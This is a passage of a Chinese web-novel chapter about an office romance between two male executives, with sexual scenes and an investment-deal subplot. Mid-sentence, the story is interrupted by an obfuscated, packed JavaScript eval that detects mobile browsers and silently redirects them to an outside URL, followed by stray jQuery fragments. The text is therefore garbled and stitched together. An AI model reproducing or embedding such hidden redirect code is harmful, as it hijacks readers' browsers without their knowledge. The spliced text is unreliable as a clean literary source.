冲北耳廓顿时变得殷红,连脚步也停了一瞬。
他转头恶狠狠瞪了梁澄一眼,嘴硬道:“我好得很,痛也是你技术太烂的缘故。”
梁澄点头,嘴角微翘,礼貌地抱歉,“不好意思,我下次会进步的。”
还有下次?
冲北无语地推开总裁办公室的大门,径直仰靠在柔软的沙发上。
梁澄亦步亦趋,自来熟地坐在他旁边,从商务的黑色西服外套里掏出一支外包装熟悉的药膏。
冲北余光瞥见,屁股顿时一紧,紧张地质问道:“你要干嘛?”
他的声音微颤,对梁澄而言根本没有半点儿杀伤力。
梁然摇了摇手里的药膏,淡定陈述,“给你擦药。你不是嫌我技术好,弄疼你了。既然没办法挽回,那就只能稍微补偿一下,做好售后服务。”
冲北感觉额角的神经狠狠震了一下,还未缓过神,对方已经按着他的肩头,推倒他在沙发上。
身体被他压制,冲北不舒服地扭头大声呵斥,“梁澄你滚,放开我。我不要这里擦,这是办公室。”
梁澄并没有因为他的话而感到生气,退一步道:“那你说,你要去哪里擦药?”
“你先松手。”冲北说。
梁澄松开他的肩膀,起身还没在沙发边站好,冲北猛地站起来,敏捷扭身,朝他挥了一记拳。
梁澄反应极快,后退一步,拳风从鼻尖掠过,撩起额头发丝。
他就不该对面前这个任性的人大发善心,梁澄皱眉语气不悦道:“只是擦个药而已,又不是头一回,这是激起你什么应激反应了?”
冲北没搭理他,低着头抻了抻发皱的衣摆,而后才抬起头,指着旁边的隐藏门,“去休息室里擦,甘鸣就要上楼送餐了。”
梁澄这才意识到冲北原来是害臊了,心里松快,走路的步子也轻快起来。
他跟着前面的人进入内置的休息室。
刚一进去关上门,冲北便主动解开裤扣,把裤子拉到膝盖,然后主动趴在纯白的床面上。
他的上衣和西裤是黑色的,中间那一截却与洁白的床上用品融为一体。
梁澄头皮发麻,不自然地滚了滚喉结,咽下一口水。
冲北听见背后传来明显的吞咽声,讥笑道:“大白天的发什么情?快点过来帮我擦药。”
他语气不算好,梁澄没有反驳,顺从地走了过去。
保守的白色四角内裤被轻柔褪下,饱满的臀侧还残留烂红的指印。
梁澄双眼死死盯着,甚至恶趣味地拿手比划几下,对着那些印记在半空中附上去。
做得太狠,下次得注意。
他不紧不慢地旋开盖子,指腹粘上白色膏体,清凉的药膏刚一接触肌肤,肉浪似的抖了一下。
梁澄皱了一下眉,动作愈发轻柔,白色膏状物在指腹轻轻的捻揉下慢慢变得透明,融化到皮肤里,润泽养护。
冲北秉持着不要白不要的理念,尽情享受他周到的伺候,等待对方动作停止,他随即重新扣上裤腰,像个渣男一样,没有留念,迅速起身。
“走吧,我们出去吃饭。”冲北穿上裤子立刻不认人了,语气像对待商务合作伙伴一样疏离。
梁澄没做声,默默把药膏重新放回西服的外兜,而后才说:“我洗个手,你先出去吃饭。”
冲北看了眼他被窗外透进来的阳光照得湿润的指尖,莫名其妙开始脸色发红,他别别扭扭“嗯”了一声,推开房间隐藏门。
会客区的茶几上已经摆好了两份简餐。
冲北没理还在洗手的“客人”,自顾自坐下狼吞虎咽。
梁澄出来时,茶几上只剩杯盘狼藉的现场,和动作优雅擦嘴的某人。
冲北嘴里还包着食物,腮帮子鼓鼓的,像藏食的仓鼠,可爱得很。
在见到如此可爱的某人之后,梁澄心里忍不住笑,先前的不快顿时烟消云散。
梁澄卑微地想,只要他的悲欢同自己休戚与共,那也足够了。
冲北看见梁澄默默坐下来,咀嚼的动作停了一瞬,这才觉出不好意思来。
作为主人,客人还没有开吃,自己就已经吃抹干净擦上嘴了,这是哪里的待客之道。
他做作地咳了咳,起身帮梁澄接了杯温水,放在他手边,客套道:“梁总,喝水。”
梁澄抬头,似笑非笑睨他一眼,端起陶瓷杯喝了一口,是温的。
梁澄点了点头,“多谢款待。”
冲北呵呵一笑,摆手道:“不至于,粗茶淡饭罢了。”
梁澄再次点头道:“确实,冲总拿下这个大项目竟然只请客吃盒饭,也太……”
他的语气淡淡,听不出多余的情绪。这是梁澄一贯以来的处事之道,话不说满,留有余地,让人去猜。
可冲北从来不去猜,直截了当地问:“你想要什么?”
梁澄摇头,夹了一筷子菜,优雅地送进嘴里。
冲北特烦装逼的人,梁澄以前在他面前那逆来顺受的狗样,现在拿什么乔!
易爆易怒,火气上头的下一秒,冲北猛然意识到面前这位吃着盒饭的“大佬”算是他的甲方。
顿时消了火,和颜悦色道:“晚上请梁总吃顿好的,炮凤烹龙,应有尽有。”
梁澄没胃口,再咽了两口菜,慢悠悠盖好几乎没怎么动的盒饭,恹恹道:“算了,我对那些没胃口。”
冲北“哦”了一声,反正没接茬。
他转身拿起座机,拨通内线,让甘鸣来收拾吃剩的饭菜。
*
项目投资大,高风险,合同条款没法一蹴而就。当天双方人员一直加班到深夜,只理出一个大概的意向框架。
这是梁澄回国后的第一个项目,预计也是华资合宜集团在C国本年最大的对外投资项,J国总部的意见至关重要,甚至决定了本次投资的顺利与否。
合宜是传统的家族企业,总部的当家人依旧是梁澄的爷爷梁安国,
投资意向合同传到梁安国手边的下一秒,一通越洋电话被梁澄接通。
当晚,梁澄乘红眼航班赶往J国。
*
合宜内部结构稳定,即使少了主心骨,各部门运转依然有条不紊。
近几日梁澄缺席的磋商会由贴身助理李勉全权代劳。
面对合宜方面对梁总行踪的问询,李勉四两拨千斤,只说有其他紧急项目处理,其余的,一个字也不透露。
梁澄突然的不告而别,冲北心里总感觉不对劲,虽然李勉已极力解释同这次合作无关,是被其他项目绊住脚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275757|182404||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
但是冲北的第六感,隐隐感到不安,有种山雨欲来风满楼的前兆。
最后的合同终于敲定,只等双方总裁签字。但梁澄还是没回来,这让冲北本就不安的情绪持续扩大化。
在顾越辙的帮助下,冲北得知梁澄几日前飞往J国的消息。
J国……合宜总公司所在国,梁澄待了七年的国家。
匆忙急召回J国,何种原因,自然不言而喻。
冲北暗道不好,这次的合作极有可能到头来竹篮打水一场空。
夜晚,柔软的床上冲北辗转反侧、翻来覆去,睡不着。
临门一脚出了这么一档子事,任谁心里都憋着口气。
冲北干脆坐起来,打开卧室的吊灯,灯影绰绰,晃得人眼睛疼。
他起身下床,来到客厅开了一瓶啤酒,大口饮。
酒过半瓶,耳畔传来噔噔的敲门声。
冲北屏气凝神数秒,再次传来声响,他没听错。于是,猛地站起来,晕头转向地去开门。
门刚打开,外面的人带着略凉的秋意袭来,抱了满怀。
冲北紧绷的身体闻到颈窝熟悉的体香,瞬间放松,仰头大笑,“是你呀,梁澄,欢迎回家。”
梁澄冰冷的眉眼顿时化开,反手关门,亲着他往里推着走。
冲北两颊酡红,微醺,半推半就,双手环住他脖颈,亦步亦趋后退。
客厅灯火通明,梁澄余光瞥见茶几上摆着的啤酒,舌头入侵口腔,同样也尝到了淡淡的酒香。
他稍稍退半步,拦住冲北后腰,明知故问:“喝酒了。”
冲北点头,“喝了一点儿。”
见梁澄拧眉,他松开一只手,食指和大拇指比划出真的“一点点”。
梁澄又问:“怎么?心烦了?是因为这几天我没来吗?”
他的眼眸稠黑,凝视着冲北,不知道是眼神的引诱,或是酒精的蛊惑。
冲北重重点了两下头。
下一瞬,梁澄眼神凶猛地吻上去,双手往下移,拖住他浑圆的臀部,往卧室带。
也许是自然而然,也许是被迫,冲北双腿缠上他的腰。“砰”一声,他被放倒在床上。下一秒,梁澄倾身而下,亲上去,单手解衬衫扣子的同时,另一只手摩挲他微微发烫的脸颊。
冲北被压制,毫无还手之力,只能帮助他剥落衬衣的同时一把脱掉自己的丝质睡衣。
两人rou.贴肉抱在一起,滚烫的肌肤紧紧相贴,浓烈的鼻息回荡在彼此耳边。他来势汹汹,冲北被动承受,在漆黑的深海里遨游。
“你轻点。”冲北脸朝下,声音凄惨呜咽。
梁澄大汗淋漓,一大颗热汗从脊背中线滑落,消失在尾椎骨的沟壑当中。他放缓动作,贴着冲北耳边,柔声说:“已经很轻了。几天不见,你难道就不想我吗?我可是很想你的,小冲。”
冲北心头一震,反手推了一把他肩膀,动作突然停下。他艰难地扭头看向梁澄。前胸泛着不正常的玫红,墨黑的眼眸里充斥肉.yu。灿亮的灯光下,那双狭长的眼里,倒影着同样陷入yu.望里的自己。
而后,冲北一句话,让滚热的气氛以迅雷不及掩耳之势抵达到冰点。
他问:“梁澄,对芯冲的投资还作数吗?”